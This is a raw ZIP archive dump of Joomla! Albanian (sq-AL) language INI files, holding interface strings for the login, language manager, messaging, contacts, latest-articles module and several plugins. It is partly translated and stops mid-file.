PK@y>\K+a//"language/sq-AL/sq-AL.com_login.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LOGIN="Hymje" COM_LOGIN_JOOMLA_ADMINISTRATION_LOGIN="Hymja administrative Joomla!" COM_LOGIN_RETURN_TO_SITE_HOME_PAGE="Go to site home page." COM_LOGIN_VALID="Use a valid username and password to gain access to the administrator backend." COM_LOGIN_XML_DESCRIPTION="This component lets users login to the site."PK@y>\+ll/language/sq-AL/sq-AL.plg_content_emailcloak.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_EMAILCLOAK="Content - Email Cloaking" PLG_CONTENT_EMAILCLOAK_LINKABLE="Si adresë email me nyje" PLG_CONTENT_EMAILCLOAK_MODE_DESC="Zgjidh si kanë me u shfaqë emailat" PLG_CONTENT_EMAILCLOAK_MODE_LABEL="Mënyra" PLG_CONTENT_EMAILCLOAK_NONLINKABLE="Tekst pa nyje" PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION="Cloaks all emails in content from spambots using JavaScript"PK@y>\k0language/sq-AL/sq-AL.plg_finder_contacts.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTACTS="Kërkim i squet - Kontaktet" PLG_FINDER_CONTACTS_ERROR_ACTIVATING_PLUGIN="S'mundi t'aktivizonte automatikisht pluginin "_QQ_"Kërkim i squet - Kontaktet"_QQ_" " PLG_FINDER_CONTACTS_XML_DESCRIPTION="Ky plugin indekson kontaktet Joomla!." PK@y>\fz0z0&language/sq-AL/sq-AL.com_languages.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LANGUAGES="Gjuha" COM_LANGUAGES_CONFIGURATION="Language Manager Options" COM_LANGUAGES_ERR_DELETE="Select a language to delete" COM_LANGUAGES_ERR_NO_LANGUAGE_SELECTED="No Language Selected" COM_LANGUAGES_ERR_PUBLISH="Select a language to publish" COM_LANGUAGES_FIELD_DESCRIPTION_DESC="Enter here a description for the language" COM_LANGUAGES_FIELD_IMAGE_DESC="Prefix of the image file for this language when using the "_QQ_"Use image flags"_QQ_" Language Switcher basic option. Example: if 'en' is chosen, then the image shall be en.gif. Images and CSS for this module are in media/mod_languages/" COM_LANGUAGES_FIELD_IMAGE_LABEL="Image Prefix" COM_LANGUAGES_FIELD_LANG_TAG_DESC="Enter here the language tag – example: en-GB for English (UK). This should be the exact prefix used for the language installed or to be installed." COM_LANGUAGES_FIELD_LANG_TAG_LABEL="Language Tag" COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_LABEL="Location" COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_DESC="Indicates whether the override is created for the site (Frontend) or administrator (Backend) client." COM_LANGUAGES_OVERRIDE_FIELD_FILE_LABEL="Dokumenti" COM_LANGUAGES_OVERRIDE_FIELD_FILE_DESC="Language overrides are stored in a specific INI file (as it's the case for the original texts, too). Here you can see in which file the current override is stored." COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_LABEL="Gjuha" COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_DESC="Language for which the constant is overridden." COM_LANGUAGES_OVERRIDE_FIELD_KEY_LABEL="Language Constant" COM_LANGUAGES_OVERRIDE_FIELD_KEY_DESC="The language constant of the string you want to override.
      Each language output text on your site is identified by a specific language constant which you have to use for creating an override of the text.
      If you don't know the corresponding constant you can search for text you want to change on the right. By clicking on the desired result the correct constant will automatically be inserted into the form." COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_LABEL="Teksti" COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_DESC="Here you can enter the text which you want to be displayed instead of the overridden one.
      Please note that there may be placeholders (e.g. %s, %d or %1$s) in the text which could be important (they will be replaced by other texts afore displaying), so you should leave them in there." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_LABEL="Teksti i kërkimit" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_DESC="Please enter the text to search for here. It may be in any of the language files." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_LABEL="Search for" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_DESC="Here you can select whether you want to search for constant names or the values (thus the actual texts).
      It is also possible to search for language file names (and paths) in order to get all constants and texts of a language file." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_CONSTANT="Constant" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_TEXT="Vlera" COM_LANGUAGES_FIELD_PUBLISHED_DESC="Whether this content language is published or not. If published, it will display as a choice in the Language Switcher module in frontend." COM_LANGUAGES_FIELD_LANG_CODE_DESC="This Language Code will be appended to the site URL. When SEF is enabled, one will get http://mysite.com/en/. If SEF is disabled the suffix &lang=en will be appended at the end of the URL. Note the Language Code must be unique among all the languages." COM_LANGUAGES_FIELD_LANG_CODE_LABEL="URL Language Code" COM_LANGUAGES_FIELD_SITE_NAME_DESC="Enter here a custom site name for this content language. If the site name is set to display, this custom site name will be used instead of the Global Configuration setting." COM_LANGUAGES_FIELD_SITE_NAME_LABEL="Custom Site Name" COM_LANGUAGES_FIELDSET_SITE_NAME_LABEL="Emni i faqes" COM_LANGUAGES_FIELD_TITLE_DESC="The name of the language as it will appear in the lists" COM_LANGUAGES_FIELD_TITLE_NATIVE_DESC="Title in Native language" COM_LANGUAGES_FIELD_TITLE_NATIVE_LABEL="Title Native" COM_LANGUAGES_FILTER_CLIENT_LABEL="Filter Location:" COM_LANGUAGES_FTP_DESC="For setting Languages as default, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_LANGUAGES_FTP_TITLE="T'dhanat e hymjes FTP" COM_LANGUAGES_HEADING_AUTHOR_EMAIL="Author Email" COM_LANGUAGES_HEADING_DEFAULT="Normalja" COM_LANGUAGES_HEADING_LANG_IMAGE="Image Prefix" COM_LANGUAGES_HEADING_LANGUAGE="Gjuha" COM_LANGUAGES_HEADING_NUM="Num" COM_LANGUAGES_HEADING_TITLE_NATIVE="Native Title" COM_LANGUAGES_HOMEPAGE="Home" COM_LANGUAGES_MSG_DEFAULT_LANGUAGE_SAVED="Default Language Saved. This does not affect users that have chosen a specific language on their profile or on the login page.
      Warning! When using the multilanguage functionality (i.e. when the plugin System - Languagefilter is enabled) the Site Default Language has to also be a published Content language." COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR="Some of the contacts linked to the user %s are incorrect." COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR_TIP="Warning! A user/author should have only one contact to which is assigned language 'All' OR one contact for each published Content Language" COM_LANGUAGES_MULTILANGSTATUS_CONTENT_LANGUAGE_PUBLISHED="Published Content Languages" COM_LANGUAGES_MULTILANGSTATUS_ERROR_CONTENT_LANGUAGE="A Default Home page is assigned to the %s Content Language although a Site Language for this Content Language is not installed AND/OR the Content Language is not published." COM_LANGUAGES_MULTILANGSTATUS_HOMES_MISSING="This site is set as a multilanguage site. One or more of the Default Home pages for the published Content languages are missing although the Language Filter plugin is enabled OR/AND one or more Language Switcher modules are published" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED="Published Default Home pages" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_ALL="1 assigned to language 'All'" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_INCLUDING_ALL="Published Default Home pages (including 1 assigned to language "All")" COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_PUBLISHED="Published Language Switcher Modules" COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_UNPUBLISHED="This site is set as a multilanguage site, at least one Language Switcher module set to language "All" has to be published. Disregard this message if you do not use a language switcher module but direct links." COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER="Language Filter Plugin" COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER_DISABLED="This site is set as a multilanguage site. The Languagefilter plugin is not enabled although one or more Language Switcher modules OR/AND one or more specific Content language Default Home pages are published." COM_LANGUAGES_MULTILANGSTATUS_NONE="This site is not set as a multilanguage site." COM_LANGUAGES_MULTILANGSTATUS_SITE_LANG_PUBLISHED="Published Site Languages" COM_LANGUAGES_MULTILANGSTATUS_USELESS_HOMES="This site is not set as a multilanguage site.
      Note: at least one Default Home page is assigned to a Content Language. This will not break a monolanguage site but is useless." COM_LANGUAGES_N_ITEMS_DELETED="%d Content Languages successfully deleted" COM_LANGUAGES_N_ITEMS_DELETED_1="%d Content Language successfully deleted" COM_LANGUAGES_N_ITEMS_PUBLISHED="%d Content Languages successfully published" COM_LANGUAGES_N_ITEMS_PUBLISHED_1="%d Content Language successfully published" COM_LANGUAGES_N_ITEMS_TRASHED="%d Content Languages successfully trashed" COM_LANGUAGES_N_ITEMS_TRASHED_1="%d Content Language successfully trashed" COM_LANGUAGES_N_ITEMS_UNPUBLISHED="%d Content Languages successfully unpublished.
      Warning! When using the multilanguage functionality (i.e. when the plugin System - Languagefilter is enabled) the Site Default Language has to also be a published Content language." COM_LANGUAGES_N_ITEMS_UNPUBLISHED_1="%d Content Language successfully unpublished.
      Warning! When using the multilanguage functionality (i.e. when the plugin System - Languagefilter is enabled) the Site Default Language has to also be a published Content language." COM_LANGUAGES_NO_ITEM_SELECTED="No languages selected" COM_LANGUAGES_SAVE_SUCCESS="Content Language successfully saved" COM_LANGUAGES_SEARCH_IN_TITLE="Search in title" COM_LANGUAGES_SUBMENU_CONTENT="Përmbajtja" COM_LANGUAGES_SUBMENU_INSTALLED_ADMINISTRATOR="Installed - Administrator" COM_LANGUAGES_SUBMENU_INSTALLED_SITE="Installed - Site" COM_LANGUAGES_SUBMENU_OVERRIDES="Overrides" COM_LANGUAGES_VIEW_INSTALLED_TITLE="Language Manager: Installed Languages" COM_LANGUAGES_VIEW_LANGUAGE_EDIT_EDIT_TITLE="Language Manager: Edit Content Language" COM_LANGUAGES_VIEW_LANGUAGE_EDIT_NEW_TITLE="Language Manager: New Content Language" COM_LANGUAGES_VIEW_LANGUAGES_TITLE="Language Manager: Content Languages" COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_SITE="Faqja" COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_ADMINISTRATOR="Administratori" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_TITLE="Language Manager: Edit Override" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_NEW_OVERRIDE_LEGEND="Create a New Override" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_EDIT_OVERRIDE_LEGEND="Edit this Override" COM_LANGUAGES_VIEW_OVERRIDE_LANGUAGE="%1$s [%2$s]" COM_LANGUAGES_VIEW_OVERRIDE_MORE_RESULTS="More Results" COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS="No matching texts found" COM_LANGUAGES_VIEW_OVERRIDE_REFRESHING="Please wait while the cache is recreated." COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR="Error while performing an Ajax request" COM_LANGUAGES_VIEW_OVERRIDE_RESULTS_LEGEND="Search Results" COM_LANGUAGES_VIEW_OVERRIDE_SAVE_SUCCESS="Language Override was saved successfully." COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_BUTTON="Kërko" COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_LEGEND="Search text you want to change" COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_TIP="A language string is composed of two parts: a specific language constant and its value.
      For example, in the string:
           COM_CONTENT_READ_MORE="_QQ_"Read more: "_QQ_"
      'COM_CONTENT_READ_MORE' is the constant and 'Read more: ' is the value.
      You have to use the specific language constant in order to create an override of the value.
      Therefore, you can search for the constant or the value you want to change with the search field below.
      By clicking on the desired result the correct constant will automatically be inserted into the form." COM_LANGUAGES_VIEW_OVERRIDES_FILTER_SEARCH_DESC="Search constant or text." COM_LANGUAGES_VIEW_OVERRIDES_KEY="Constant" COM_LANGUAGES_VIEW_OVERRIDES_LANGUAGES_BOX_ITEM="%1$s - %2$s" COM_LANGUAGES_VIEW_OVERRIDES_N_ITEMS_DELETED="%d language overrides were successfully deleted" COM_LANGUAGES_VIEW_OVERRIDES_N_ITEMS_DELETED_1="%d language override was successfully deleted" COM_LANGUAGES_VIEW_OVERRIDES_NO_ITEM_SELECTED="You haven't selected any overrides" COM_LANGUAGES_VIEW_OVERRIDES_TEXT="Teksti" COM_LANGUAGES_VIEW_OVERRIDES_TITLE="Language Manager: Language Overrides" COM_LANGUAGES_XML_DESCRIPTION="Component for language management" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings."PK@y>\חm$$#language/sq-AL/sq-AL.mod_latest.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LATEST="Lajmet ma t'fundit" MOD_LATEST_CREATED="Krijue" MOD_LATEST_CREATED_BY="Created By" MOD_LATEST_FIELD_AUTHORS_DESC="Filtër për autorët" MOD_LATEST_FIELD_AUTHORS_LABEL="Autorët" MOD_LATEST_FIELD_CATEGORY_DESC="Select Articles from a specific Category or set of Categories." MOD_LATEST_FIELD_COUNT_DESC="The number of items to display (default 5)" MOD_LATEST_FIELD_COUNT_LABEL="Count" MOD_LATEST_FIELD_ORDERING_DESC="Opsionet e renditjes" MOD_LATEST_FIELD_ORDERING_LABEL="Rendi" MOD_LATEST_FIELD_VALUE_AUTHORS_ANYONE="Gjithkush" MOD_LATEST_FIELD_VALUE_AUTHORS_BY_ME="Shtue a ndryshue prej meje" MOD_LATEST_FIELD_VALUE_AUTHORS_NOT_BY_ME="Jo i shtuem a ndryshuem prej meje" MOD_LATEST_FIELD_VALUE_ORDERING_ADDED="T'shtuemit n'fund ma s'pari" MOD_LATEST_FIELD_VALUE_ORDERING_MODIFIED="T'ndryshuemit n'fund s'pari" MOD_LATEST_LATEST_ITEMS="Sendet ma t'fundit" MOD_LATEST_NO_MATCHING_RESULTS="S'ka rezultate" MOD_LATEST_TITLE="Recently Created Articles" MOD_LATEST_TITLE_CREATED="Last Added Articles" MOD_LATEST_TITLE_CREATED_1="Last Added Article" MOD_LATEST_TITLE_CREATED_MORE="Last %1$s Added Articles" MOD_LATEST_TITLE_CREATED_NOT_ME="Last Added Articles Not By Me" MOD_LATEST_TITLE_CREATED_NOT_ME_1="Last Added Article Not By Me" MOD_LATEST_TITLE_CREATED_NOT_ME_MORE="Last %1$s Added Articles Not By Me" MOD_LATEST_TITLE_CREATED_BY_ME="Last Added Articles By Me" MOD_LATEST_TITLE_CREATED_BY_ME_1="Last Added Article By Me" MOD_LATEST_TITLE_CREATED_BY_ME_MORE="Last %1$s Added Articles By Me" MOD_LATEST_TITLE_CREATED_CATEGORY="Last Added Articles (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_1="Last Added Article (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_MORE="Last %1$s Added Articles (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME="Last Added Articles By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME_1="Last Added Article By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME_MORE="Last %1$s Added Articles By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME="Last Added Articles Not By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME_1="Last Added Article Not By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME_MORE="Last %1$s Added Articles Not By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED="Last Modified Articles" MOD_LATEST_TITLE_MODIFIED_1="Last Modified Article" MOD_LATEST_TITLE_MODIFIED_MORE="Last %1$s Modified Articles" MOD_LATEST_TITLE_MODIFIED_BY_ME="Last Modified Articles By Me" MOD_LATEST_TITLE_MODIFIED_BY_ME_1="Last Modified Article By Me" MOD_LATEST_TITLE_MODIFIED_BY_ME_MORE="Last %1$s Modified Articles By Me" MOD_LATEST_TITLE_MODIFIED_NOT_ME="Last Modified Articles Not By Me" MOD_LATEST_TITLE_MODIFIED_NOT_ME_1="Last Modified Article Not By Me" MOD_LATEST_TITLE_MODIFIED_NOT_ME_MORE="Last %1$s Modified Articles Not By Me" MOD_LATEST_TITLE_MODIFIED_CATEGORY="Last Modified Articles (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_1="Last Modified Article (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_MORE="Last %1$s Modified Articles (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME="Last Modified Articles By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME_1="Last Modified Article By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME_MORE="Last %1$s Modified Articles By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME="Last Modified Articles Not By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME_1="Last Modified Article Not By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME_MORE="Last %1$s Modified Articles Not By Me (%2$s category)" MOD_LATEST_UNEXISTING="Unexisting" MOD_LATEST_XML_DESCRIPTION="Ky modul tregon nji listë të artikujve të fundit të botuem që ende janë aktualë. Disa që janë tregue mund të kenë skadue edhe pse janë ma të fundit." PK@y>\j~~%language/sq-AL/sq-AL.com_messages.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MESSAGES="Messaging" COM_MESSAGES_ADD="Mesazh i ri privat" COM_MESSAGES_CONFIG_SAVED="Configuration successfully saved" COM_MESSAGES_CONFIGURATION="Messages Configuration" COM_MESSAGES_ERR_INVALID_USER="Invalid user" COM_MESSAGES_ERR_SEND_FAILED="The user has locked their mailbox. Message failed." COM_MESSAGES_ERROR_INVALID_FROM_USER="Invalid sender" COM_MESSAGES_ERROR_INVALID_MESSAGE="Invalid message content" COM_MESSAGES_ERROR_INVALID_SUBJECT="Invalid subject" COM_MESSAGES_ERROR_INVALID_TO_USER="Invalid recipient" COM_MESSAGES_FIELD_AUTO_PURGE_DESC="Automatically purge private messages after the given number of days." COM_MESSAGES_FIELD_AUTO_PURGE_LABEL="Auto-purge Messages (days)" COM_MESSAGES_FIELD_DATE_TIME_LABEL="Postue" COM_MESSAGES_FIELD_LOCK_DESC="Lock your private message inbox." COM_MESSAGES_FIELD_LOCK_LABEL="Mbylle postën" COM_MESSAGES_FIELD_MAIL_ON_NEW_DESC="Email me when a new private message arrives." COM_MESSAGES_FIELD_MAIL_ON_NEW_LABEL="Email New Messages" COM_MESSAGES_FIELD_MESSAGE_DESC="Duhet me futë nji mesazh." COM_MESSAGES_FIELD_MESSAGE_LABEL="Mesazhi" COM_MESSAGES_FIELD_SUBJECT_DESC="Duhet me futë nji titull." COM_MESSAGES_FIELD_SUBJECT_LABEL="Tema" COM_MESSAGES_FIELD_USER_ID_FROM_LABEL="Nga" COM_MESSAGES_FIELD_USER_ID_TO_DESC="Duhet me zgjedhë nji marrës." COM_MESSAGES_FIELD_USER_ID_TO_LABEL="Recipient" COM_MESSAGES_HEADING_FROM="Nga" COM_MESSAGES_HEADING_READ="Lexo" COM_MESSAGES_HEADING_SUBJECT="Tema" COM_MESSAGES_INVALID_REPLY_ID="Invalid recipient" COM_MESSAGES_MANAGER_MESSAGES="Private Messages Manager: Messages" COM_MESSAGES_MARK_AS_READ="Mark As Read" COM_MESSAGES_MARK_AS_UNREAD="Mark as Unread" COM_MESSAGES_MY_SETTINGS="My Settings" COM_MESSAGES_N_ITEMS_DELETED="%d messages successfully deleted" COM_MESSAGES_N_ITEMS_DELETED_1="Message successfully deleted" COM_MESSAGES_N_ITEMS_PUBLISHED="%d messages successfully marked as read" COM_MESSAGES_N_ITEMS_PUBLISHED_1="Message successfully marked as read" COM_MESSAGES_N_ITEMS_TRASHED="%d messages successfully trashed" COM_MESSAGES_N_ITEMS_TRASHED_1="Message successfully trashed" COM_MESSAGES_N_ITEMS_UNPUBLISHED="%d messages successfully marked as unread" COM_MESSAGES_N_ITEMS_UNPUBLISHED_1="Message successfully marked as unread" COM_MESSAGES_NEW_MESSAGE_ARRIVED="Ka arritë nji mesazh i ri privat nga %s" COM_MESSAGES_NO_ITEM_SELECTED="No messages selected" COM_MESSAGES_OPTION_READ="Lexo" COM_MESSAGES_OPTION_UNREAD="Palexue" COM_MESSAGES_PLEASE_LOGIN="Futu në %s me lexue mesazhin." COM_MESSAGES_RE="Re:" COM_MESSAGES_READ="Messages" COM_MESSAGES_READ_PRIVATE_MESSAGE="Read Private Message" COM_MESSAGES_SEARCH_IN_SUBJECT="Search in message subject or description " COM_MESSAGES_TOOLBAR_MARK_AS_READ="Mark As Read" COM_MESSAGES_TOOLBAR_MARK_AS_UNREAD="Mark as Unread" COM_MESSAGES_TOOLBAR_MY_SETTINGS="My Settings" COM_MESSAGES_TOOLBAR_REPLY="Përgjigju" COM_MESSAGES_TOOLBAR_SEND="Nise" COM_MESSAGES_VIEW_PRIVATE_MESSAGE="Private Messages Manager: View Message" COM_MESSAGES_WRITE_PRIVATE_MESSAGE="Private Messages Manager: Write Private Message" COM_MESSAGES_XML_DESCRIPTION="Component for private messaging support in backend" JLIB_APPLICATION_SAVE_SUCCESS="Message successfully sent." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\66language/sq-AL/sq-AL.plg_quickicon_extensionupdate.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_EXTENSIONUPDATE="Quick Icon - Joomla! Extensions Updates Notification" PLG_QUICKICON_EXTENSIONUPDATE_CHECKING="Checking extensions
      update status" PLG_QUICKICON_EXTENSIONUPDATE_ERROR="Unknown extensions
      update status" PLG_QUICKICON_EXTENSIONUPDATE_GROUP_DESC="The group of this plugin (this value is compared with the group value used in Quick Icons modules to inject icons)" PLG_QUICKICON_EXTENSIONUPDATE_GROUP_LABEL="Grupi" PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND="Updates are available!
      %s" PLG_QUICKICON_EXTENSIONUPDATE_UPTODATE="All extensions are up-to-date" PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION="Checks for updates of your installed third-party extensions and notifies you when you visit the Control Panel page" PK@y>\qVV-language/sq-AL/sq-AL.plg_user_profile.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_USER_PROFILE="Përdoruesi - Profili" PLG_USER_PROFILE_XML_DESCRIPTION="Plugini i profilit të përdoruesit" PK@y>\R2 W2language/sq-AL/sq-AL.plg_finder_categories.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CATEGORIES="Kërkim i squet - Kategoritë" PLG_FINDER_CATEGORIES_ERROR_ACTIVATING_PLUGIN="S'mundi t'aktivizonte automatikisht pluginin "_QQ_"Kërkim i squet - Kategoritë"_QQ_" " PLG_FINDER_CATEGORIES_XML_DESCRIPTION="Ky plugin indekson kategoritë Joomla!." PK@y>\J%*language/sq-AL/sq-AL.plg_system_logout.ininuW+A; Joomla1 sq-AL ; @package Joomla ; @subpackage plgSystemLogout ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_SYSTEM_LOGOUT_XML_DESCRIPTION="The system logout plug-in enables Joomla to redirect the user to the home page if he chooses to logout while he is on a protected access page." PLG_SYSTEM_LOGOUT="System - Logout" PLG_SYSTEM_LOGOUT_REDIRECT="You have been redirected to the home page following logout" PK@y>\^9||(language/sq-AL/sq-AL.com_contact.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTACT="Kontaktet" COM_CONTACT_CATEGORIES="Kategoritë" COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC="Shows a list of contact categories within a category." COM_CONTACT_CATEGORIES_VIEW_DEFAULT_OPTION="Normalja" COM_CONTACT_CATEGORIES_VIEW_DEFAULT_TITLE="List All Contact Categories" COM_CONTACT_CATEGORY_ADD_TITLE="Category Manager: Add A New Contact Category" COM_CONTACT_CATEGORY_EDIT_TITLE="Category Manager: Edit A Contact Category" COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC="This view lists the contacts in a category." COM_CONTACT_CATEGORY_VIEW_DEFAULT_OPTION="Normalja" COM_CONTACT_CATEGORY_VIEW_DEFAULT_TITLE="List Contacts in a Category" COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC="This links to the contact information for one contact." COM_CONTACT_CONTACT_VIEW_DEFAULT_OPTION="Normalja" COM_CONTACT_CONTACT_VIEW_DEFAULT_TITLE="Single Contact" COM_CONTACT_FEATURED_VIEW_DEFAULT_DESC="This view lists the featured contacts." COM_CONTACT_FEATURED_VIEW_DEFAULT_OPTION="Normalja" COM_CONTACT_FEATURED_VIEW_DEFAULT_TITLE="Featured Contacts" COM_CONTACT_CONTACTS="Kontaktet" COM_CONTACT_XML_DESCRIPTION="Ky komponent tregon listën e informacionit të kontaktit" PK@y>\Y`9{+language/sq-AL/sq-AL.plg_content_finder.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_FINDER="Përmbajtja - Kërkim i squet" PLG_CONTENT_FINDER_XML_DESCRIPTION="Aktivizon indeksimin për kërkimin e squet" PLG_FINDER_QUERY_FILTER_BRANCH_P__="krejt" PLG_FINDER_QUERY_FILTER_BRANCH_S_TYPE="Lloji" PLG_FINDER_QUERY_FILTER_BRANCH_S_LANGUAGE="Gjuha" PLG_FINDER_QUERY_FILTER_BRANCH_S_CATEGORY="Kategoria" PLG_FINDER_QUERY_FILTER_BRANCH_P_TYPE="Llojet" PLG_FINDER_QUERY_FILTER_BRANCH_P_LANGUAGE="Gjuhët" PLG_FINDER_QUERY_FILTER_BRANCH_P_CATEGORY="Kategoritë" PK@y>\#((0language/sq-AL/sq-AL.plg_system_languagecode.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGECODE="System - Language Code" PLG_SYSTEM_LANGUAGECODE_FIELD_DESC="Changes the language code used for the %s language" PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC="Changes the language code for the generated HTML document. Example of use: One has installed the fr-FR language pack and wants the Search Engines to recognize the page as aimed at French-speaking Canada. Add the tag 'fr-CA' to the corresponding field for 'fr-FR' to resolve this." PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL="Language codes" PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides the ability to change the language code in the generated HTML document to improve SEO.
      The fields will appear when the plugin is enabled and saved.
